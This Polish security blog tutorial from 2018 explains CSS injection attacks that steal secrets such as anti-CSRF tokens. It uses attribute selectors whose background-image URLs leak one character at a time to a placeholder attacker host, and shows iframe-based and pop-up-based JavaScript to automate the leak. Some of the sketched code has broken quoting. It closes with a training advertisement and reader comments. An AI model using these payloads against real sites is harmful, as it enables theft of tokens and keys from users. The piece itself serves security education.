13.02.2018 | 21:18

Przemysław Sierociński

Poniedziałek z trenerem – CSS Injection i kradzież sekretów

Trochę czasu minęło od ostatniego wydawania „Poniedziałku z trenerem”, ale spieszymy poinformować, że nie zrezygnowaliśmy z prowadzenia cyklu. Dzisiaj poniedziałek wypada we wtorek, zatem zapraszamy do lektury.

Witamy po przerwie w następnym odcinku z serii opisów bardziej technicznych. Dziś przeczytać będzie można o tym, jak wykorzystać język CSS, by wykradać wrażliwe dane.

W poprzednich odcinkach

We wcześniejszych wpisach cyklu Poniedziałek z trenerem:

Selektory CSS

Język kaskadowego arkusza stylów posiada mnóstwo zaskakujących możliwości. Jedna z nich polega na bardzo dokładnym wyborze elementów, do których stosować ma się aktualna reguła. Na przykład przy pomocy

a[href="https://zaufanatrzeciastrona.pl"] {
  color: green;
}

możemy pokolorować wszystkie linki na stronę główną Zaufanej Trzeciej Strony. Co więcej, selektor do wyboru interesującego elementu może wykorzystywać znaki specjalne – ^$, czy *, oznaczające odpowiednio początek, koniec i dowolne miejsce w ciągu. Przykładowo

a[href^="https://zaufanatrzeciastrona.pl"] {
  color: green;
}

pokoloruje na zielono wszystkie odnośniki do Zaufanej, bez względu na konkretną podstronę.

Sytuacja nie jest ograniczona do linków. Wybrać można dowolny element na stronie – na przykład pole formularza zawierające informacje poufne – klucz API, czy token anty-CSRF. Załóżmy, że na stronie znajduje się taki oto formularz:

<form id="tajne">
  <input type="disabled" name="tajny-klucz" value="937848ed567a388eabdf">
</form>

Jeśli na tej samej stronie znajdzie się fragment CSS jak poniżej

#tajne input[value^='9'] { 
  background-image: url(https://strona.atakujacego/9.png); 
}

dyrektywa zostanie zastosowana, bo w istocie wartość pola zaczyna się od znaku 9. Co więcej, przeglądarka spróbuje pobrać 9.png z serwera atakującego, co może zostać zaobserwowane. Daje to napastnikowi możliwość odsyłania wykradzionych informacji.

Wstrzyknięcie

Uważny czytelnik z pewnością dostrzeże pewną słabość. Jak mianowicie sprawić, by na atakowanej stronie znalazł się fragment złośliwego kodu CSS? Potrzeba tutaj wstrzyknięcia wybranej zawartości w kod podatnej strony. A przy założeniu, że możemy wstrzyknąć kod, dlaczego nie umieścić fragmentu JavaScript i nie odczytać sekretu przy jego pomocy?

Istotnie, w przypadku w którym możliwe jest wstrzyknięcie JavaScript, czyli podatność XSS, sytuacja staje się prostsza. Nie zawsze jednak jest to możliwe, jak na przykład w sytuacji, gdy odbita zawartość jest umieszczana bezpośrednio w otwartym tagu <style>

<style><?php echo htmlspecialchars($_GET['css']);?></style>

Atak może wtedy wymagać nieco więcej pracy, ale naszkicujemy jak go wykonać.

Wersja z ramkami

Jeśli aplikacja nie zawiera ochrony przez Clickjackingiem, tj. zezwala na renderowanie w ramce z innej domeny, atakujący może stworzyć witrynę, która otworzy po jednej ramce na każdą literę alfabetu, np.

function dodajRamke(url) {
    var ramka = document.createElement("iframe"); 
    ramka.src = url; 
    document.body.appendChild(ramka); 
}
dodajRamke("https://podatna.strona/?css="#tajne%20input[value^='a']{background-image:url(https://strona.atakujacego/?zapis=a);}");
dodajRamke("https://podatna.strona/?css="#tajne%20input[value^='b']{background-image:url(https://strona.atakujacego/?zapis=b);}");
...

Która po załadowaniu ramek odpyta o do tej pory odkryty początek ciągu:

function odczytaj(url) {
    var zadanie = new XMLHttpRequest();
    zadanie.open("GET", url, false);
    zadanie.send(url);
    return zadanie.responseText;
}
$ujawnione = odczytaj('https://strona.atakujacego/?odczyt=1');

a następnie spróbuje odgadnąć kolejną literkę:

dodajRamke("https://podatna.strona/?css="#tajne%20input[value^="+$ujawnione+"'a']{background-image:url(https://strona.atakujacego/?zapis=a);}");
dodajRamke("https://podatna.strona/?css="#tajne%20input[value^="+$ujawnione+"'b']{background-image:url(https://strona.atakujacego/?zapis=b);}");
...

Choć całość dokładnej implementacji, w tym kod aplikacji atakującego, można zostawić jako ćwiczenie, bardziej kompletny przykład znajdziecie tutaj.

Wersja bez ramek

Na szczęście coraz częściej strony zawierają ochronę przed umieszczaniem w ramce. Stąd pojawiła się potrzeba zademonstrowania ataku bez użycia ramek. Dylan Ayrey zademonstrował właśnie taki kod. Zamiast dodawać kolejne ramki, podatna strona otwierana jest w taki sposób:

var w = window.open('https://podatna.strona/cokolwiek',  'f', "top=100000,left=100000,menubar=1,resizable=1,width=1,height=1")
var w = window.open('https://podatna.strona/?css='+$css, 'f', "top=100000,left=100000,menubar=1,resizable=1,width=1,height=1")

Istotne jest, by skrypt uruchomiony był dopiero po akcji użytkownika, np. kliknięciu na stronie, oraz by to samo otwarte okienko służyło do kolejnych prób. Nikt nie lubi miliona okienek wyskakujących automatycznie i dlatego przeglądarki blokują takie zachowanie.

Dodatek

Okazuje się, że czasem możliwe jest ujawnienie pewnych informacji również bez potrzeby wstrzykiwania czegokolwiek. Można na przykład wykorzystać fakt, że odnośniki raz kliknięte mają w przeglądarce inny kolor. Co prawda dla nowoczesnych przeglądarek nie jest to już tak trywialne jak kiedyś, niemniej wciąż możliwe. Sami możecie się przekonać, w jaki sposób zmyślny fragment kodu jest w stanie odkryć Waszą historię przeglądania.

Szkolenia

A tych, którzy wciąż czują niedosyt wiedzy, zapraszamy na nasze szkolenia, prowadzone przez autora artykułu.

Bezpieczeństwo aplikacji WWW - atak i obrona

Warsaw-center-free-license-CC0
Warszawa, 19 – 21 lutego 2018

Warsaw-center-free-license-CC0
Warszawa, 16 – 18 kwietnia 2018

Czas trwania: 3 dni (20h), Prowadzący: Adam z z3s, Przemysław Sierociński
Liczba uczestników: maksymalnie 12 osób, cena: 3900 PLN netto

Szczegółowy opis szkolenia
Powrót

Komentarze

  • 2018.02.13 21:52 Piotr

    Ktoś tu oglądał niedawny stream Gynvaela :)

    Odpowiedz
  • 2018.02.14 08:58 zakius

    atak stary, a metoda obrony ta sama co zawsze: żadnych zewnętrznych plików (skryptów i stylów, nad którymi nie mamy bezpośredniej kontroli), CSP, Subresource Integrity, X-Frame-Options wspomniane we wpisie
    najlepiej wszystko razem, dla porządku

    Odpowiedz
  • 2018.02.14 15:33 Mariusz

    Dokładnie! Wszystko już sto razy przerabiane. Tylko kolejna próba wyciągnięcia kasy na nieoczytanych i nieobytych ciemniakach.

    Odpowiedz
    • 2018.02.14 21:57 Kot Rademenes

      Sam w takim razie napisz coś ciekawego, nieobyty ciemniaczku :)

      Odpowiedz
  • 2018.02.15 12:23 Mart

    Nie ma czegoś takiego jak … Chyba się wam pomyliło z „hidden”.

    Odpowiedz
    • 2018.02.16 12:33 Mart

      Oczywiście tag wcięło, więc jeszcze raz:
      Nie ma czegoś takiego jak 'input type=”disabled”’…

      Odpowiedz

Zostaw odpowiedź do Piotr

Jeśli chcesz zwrócić uwagę na literówkę lub inny błąd techniczny, zapraszamy do formularza kontaktowego. Reagujemy równie szybko.

Poniedziałek z trenerem – CSS Injection i kradzież sekretów

Komentarze